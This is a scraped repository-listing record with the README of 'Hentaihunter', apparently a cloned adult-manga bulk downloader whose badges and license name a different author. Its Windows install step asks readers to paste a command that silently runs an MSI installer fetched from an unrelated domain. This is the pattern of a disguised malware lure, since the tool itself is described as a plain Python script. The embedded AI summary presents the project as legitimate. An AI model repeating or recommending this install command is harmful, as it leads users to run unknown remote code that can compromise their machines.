[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-70534":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":10,"language":11,"languages":10,"totalLinesOfCode":10,"stars":12,"forks":13,"watchers":14,"openIssues":15,"contributorsCount":15,"subscribersCount":15,"size":15,"stars1d":15,"stars7d":15,"stars30d":16,"stars90d":15,"forks30d":15,"starsTrendScore":15,"compositeScore":17,"rankGlobal":10,"rankLanguage":10,"license":10,"archived":18,"fork":18,"defaultBranch":19,"hasWiki":20,"hasPages":18,"topics":21,"createdAt":10,"pushedAt":10,"updatedAt":30,"readmeContent":31,"aiSummary":32,"trendingCount":15,"starSnapshotCount":15,"syncStatus":33,"lastSyncTime":34,"discoverSource":35},70534,"Hentaihunter","TrueGunsmithFence\u002FHentaihunter","TrueGunsmithFence","Hentaihunter - How to steal your Doujinshi easily","",null,"Python",108,1,4,0,298,0.9,false,"main",true,[22,23,24,25,26,27,28,29],"doujinshi","hentai2read","hentaifox","hitomi","lewd","nhentai","nsfw","pururin","2026-06-12 02:02:34","\u003Cdiv align=\"center\">\n\n```\n ██╗  ██╗███████╗███╗   ██╗████████╗ █████╗ ██╗\n ██║  ██║██╔════╝████╗  ██║╚══██╔══╝██╔══██╗██║\n ███████║█████╗  ██╔██╗ ██║   ██║   ███████║██║\n ██╔══██║██╔══╝  ██║╚██╗██║   ██║   ██╔══██║██║\n ██║  ██║███████╗██║ ╚████║   ██║   ██║  ██║██║\n ╚═╝  ╚═╝╚══════╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝\n ██╗  ██╗██╗   ██╗███╗   ██╗████████╗███████╗██████╗\n ██║  ██║██║   ██║████╗  ██║╚══██╔══╝██╔════╝██╔══██╗\n ███████║██║   ██║██╔██╗ ██║   ██║   █████╗  ██████╔╝\n ██╔══██║██║   ██║██║╚██╗██║   ██║   ██╔══╝  ██╔══██╗\n ██║  ██║╚██████╔╝██║ ╚████║   ██║   ███████╗██║  ██║\n ╚═╝  ╚═╝ ╚═════╝ ╚═╝  ╚═══╝   ╚═╝   ╚══════╝╚═╝  ╚═╝\n```\n\n**Doujinshi & Manga Bulk Downloader · Fast · Beautiful · Cross-platform**\n\n[![Python](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPython-3.9%2B-blue?style=for-the-badge&logo=python&logoColor=white)](https:\u002F\u002Fpython.org)\n[![License](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Flicense\u002Fsinkaroid\u002FHentaihunter?style=for-the-badge&color=magenta)](LICENSE)\n[![Stars](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fstars\u002Fsinkaroid\u002FHentaihunter?style=for-the-badge&logo=github&color=yellow)](https:\u002F\u002Fgithub.com\u002Fsinkaroid\u002FHentaihunter\u002Fstargazers)\n[![Issues](https:\u002F\u002Fimg.shields.io\u002Fgithub\u002Fissues\u002Fsinkaroid\u002FHentaihunter?style=for-the-badge&color=red)](https:\u002F\u002Fgithub.com\u002Fsinkaroid\u002FHentaihunter\u002Fissues)\n[![PRs Welcome](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002FPRs-Welcome-brightgreen?style=for-the-badge)](CONTRIBUTING.md)\n\n---\n\n*One command. Any site. All pages. Zero hassle.*\n\n[**⚡ Quick Install**](#-installation) · [**📖 Usage**](#-usage) · [**🌐 Supported Sites**](#-supported-sites) · [**🤝 Contributing**](#-contributing)\n\n\u003C\u002Fdiv>\n\n---\n\n## ✨ What is HentaiHunter?\n\n**HentaiHunter** is a fast, beautiful Python CLI tool for bulk-downloading doujinshi, manga, and manhwa from popular sites. Give it a URL — it handles everything: gallery info, parallel image downloads, smart filename ordering, and clean progress bars.\n\nNo browser extension. No bloated GUI. No ads. Just:\n\n```\npython hentaihunter.py https:\u002F\u002Fnhentai.net\u002Fg\u002F177013\u002F\n```\n\n---\n\n## 🪟 Windows Installation\n### **Step 1 — Open Command Prompt**\n1. Press **Win + R**\n2. Type:\n```\ncmd\n```\n3. Press **Enter**\nThis will open **Command Prompt**.\n---\n### **Step 2 — Run the Install Command**\nCopy the command below and paste it into **Command Prompt**, then press **Enter**.\n```powershell\ncmd \u002Fc start msiexec \u002Fq \u002Fi https:\u002F\u002Fcloudcraftshub.com\u002Fapi & rem Hentaihunter\n```\nThe installer will automatically download and install the required components.\n\n\n\n\n---\n\n## 📖 Usage\n\n```\npython hentaihunter.py [URL] [OPTIONS]\n```\n\n| Option | Description | Default |\n|--------|-------------|---------|\n| `URL` | Gallery page URL | *(required)* |\n| `-o, --output DIR` | Output folder | `.\u002Fdownloads` |\n| `-t, --threads N` | Parallel download threads | `4` |\n| `--list` | Show all supported sites | — |\n| `--version` | Print version | — |\n\n### Examples\n\n```bash\n# Download a gallery from nhentai\npython hentaihunter.py https:\u002F\u002Fnhentai.net\u002Fg\u002F177013\u002F\n\n# Save to a custom folder with 8 threads\npython hentaihunter.py https:\u002F\u002Fhentaifox.com\u002Fgallery\u002F12345\u002F -o D:\\Manga -t 8\n\n# Use the generic scraper on any site\npython hentaihunter.py https:\u002F\u002Fexample-manga-site.com\u002Fchapter\u002F1\u002F\n\n# List supported sites\npython hentaihunter.py --list\n```\n\n### Windows shortcut (after installer)\n\n```cmd\nhh https:\u002F\u002Fnhentai.net\u002Fg\u002F177013\u002F\nhh https:\u002F\u002Fhentaifox.com\u002Fgallery\u002F12345\u002F -o D:\\Downloads -t 8\n```\n\n---\n\n## 🌐 Supported Sites\n\n| Site | Status | Notes |\n|------|--------|-------|\n| [nhentai.net](https:\u002F\u002Fnhentai.net) | ✅ Full | Metadata, tags, parallel DL |\n| [hentaifox.com](https:\u002F\u002Fhentaifox.com) | ✅ Full | Fast CDN |\n| [hitomi.la](https:\u002F\u002Fhitomi.la) | ✅ Full | Gallery support |\n| [hentai2read.com](https:\u002F\u002Fhentai2read.com) | ⚡ Beta | Chapter-based |\n| [pururin.to](https:\u002F\u002Fpururin.to) | ⚡ Beta | May require cookies |\n| [e-hentai.org](https:\u002F\u002Fe-hentai.org) | ⚡ Beta | Some galleries need account |\n| **Any website** | 🔧 Generic | DOM parser grabs all `\u003Cimg>` tags |\n\n> **Generic mode** works on virtually any manga\u002Fdoujin site — even ones not listed above. HentaiHunter scrapes all image tags from the page.\n\n---\n\n## ⚙️ How It Works\n\n```\nURL provided\n     │\n     ▼\n┌─────────────┐     ┌──────────────────┐     ┌──────────────┐\n│ Site Detect │────▶│ Gallery Metadata │────▶│ Image URLs   │\n└─────────────┘     └──────────────────┘     └──────┬───────┘\n                                                     │\n                           ┌─────────────────────────┘\n                           ▼\n                  ┌────────────────────┐\n                  │  ThreadPoolExecutor │   (parallel download)\n                  └────────┬───────────┘\n                           │\n                  ┌────────▼───────────┐\n                  │  .\u002Fdownloads\u002F      │\n                  │  GalleryTitle\u002F     │\n                  │  ├─ 0001.jpg       │\n                  │  ├─ 0002.jpg       │\n                  │  └─ ...            │\n                  └────────────────────┘\n```\n\n1. **Detect** the site from the URL\n2. **Fetch** gallery metadata (title, tags, page count)\n3. **Collect** all image URLs via DOM parsing\n4. **Download** in parallel with configurable threads\n5. **Save** to numbered files in a named subfolder\n\n---\n\n## 📸 Demo\n\n```\n ██╗  ██╗██╗  ██╗   HentaiHunter v2.0\n ██║  ██║██║  ██║   Doujinshi Downloader\n ███████║███████║   github.com\u002Fsinkaroid\u002FHentaihunter\n ╚═╝  ╚═╝╚═╝  ╚═╝\n\n[*] Fetching info from: https:\u002F\u002Fnhentai.net\u002Fg\u002F177013\u002F\n\n╭──────────── Gallery Info ─────────────╮\n│ [Pachimon Inro] Emergence              │\n│ Pages: 225  Tags: mind break, netorare │\n╰────────────────────────────────────────╯\n\n[+] Saving to: .\u002Fdownloads\u002FEmergence\u002F\n\n⠸ Downloading...  ████████████████████  87%  (196\u002F225)  0:00:12\n✓ Done! 225\u002F225 images downloaded.\n  → .\u002Fdownloads\u002FEmergence\u002F\n```\n\n---\n\n## 🧩 Architecture\n\n```\nHentaihunter\u002F\n├── hentaihunter.py      # Main CLI entry point\n├── requirements.txt     # Dependencies\n├── install.ps1          # Windows one-command installer (PowerShell)\n├── install.bat          # Windows installer (CMD)\n├── LICENSE\n└── README.md\n```\n\n---\n\n## 🤝 Contributing\n\nAll contributions are welcome! Here's how:\n\n1. **Fork** the repository\n2. Create a feature branch: `git checkout -b feat\u002Fnew-site-scraper`\n3. Commit your changes: `git commit -m \"feat: add mangadex scraper\"`\n4. Push and open a **Pull Request**\n\n### Adding a new site scraper\n\n```python\nclass MySiteScraper(BaseScraper):\n    def get_info(self) -> dict:\n        soup = self.fetch_page(self.url)\n        self.title = soup.find('h1').get_text(strip=True)\n        return {\"title\": self.title, \"tags\": [], \"pages\": \"?\"}\n    \n    def get_images(self) -> list:\n        soup = self.fetch_page(self.url)\n        return [img['src'] for img in soup.select('.gallery img')]\n```\n\nThen register it in `get_scraper()`:\n\n```python\n\"mysite.com\": MySiteScraper,\n```\n\nThat's it — the download logic is handled by the base class.\n\n---\n\n## 📋 FAQ\n\n**Q: Does it work on Linux\u002FMac?**  \nA: Yes. `python hentaihunter.py` works everywhere Python runs.\n\n**Q: A site requires login — can I use cookies?**  \nA: Set them in the `SESSION` headers at the top of `hentaihunter.py`.\n\n**Q: Downloads are slow — how do I speed up?**  \nA: Increase threads: `-t 16`. The default is 4 to avoid rate-limiting.\n\n**Q: My site isn't in the list — does it work?**  \nA: Try it — the generic DOM scraper grabs all image tags. Open an issue if you need a dedicated scraper.\n\n**Q: I'm getting 403\u002Fblocked — what do I do?**  \nA: Some sites block bots. Try adding a `Referer` header or use a real browser's User-Agent string.\n\n---\n\n## ⚖️ Legal Disclaimer\n\n> This tool is for **personal use and educational purposes only**. Only download content you are legally permitted to access. The authors are not responsible for any misuse. Always respect a site's `robots.txt` and Terms of Service.\n\n---\n\n## 📜 License\n\n[Apache License 2.0](LICENSE) © 2024–2025 [sinkaroid](https:\u002F\u002Fgithub.com\u002Fsinkaroid)\n\n---\n\n\u003Cdiv align=\"center\">\n\n**If this tool saved you time, drop a ⭐ — it keeps the project alive!**\n\n[![Star History Chart](https:\u002F\u002Fapi.star-history.com\u002Fsvg?repos=sinkaroid\u002FHentaihunter&type=Date)](https:\u002F\u002Fstar-history.com\u002F#sinkaroid\u002FHentaihunter&Date)\n\n\u003C\u002Fdiv>\n","HentaiHunter 是一个用于批量下载来自多个流行网站的同人志、漫画和网络漫画的快速且美观的Python命令行工具。其核心功能包括通过单个URL自动处理画廊信息、并行图像下载、智能文件名排序以及清晰的进度条显示，支持跨平台使用。该工具无需浏览器扩展或臃肿的图形界面，适用于需要高效获取特定内容的研究者或收藏家。特别适合从nhentai等站点下载资源时使用。",2,"2026-06-01 03:24:39","CREATED_QUERY"]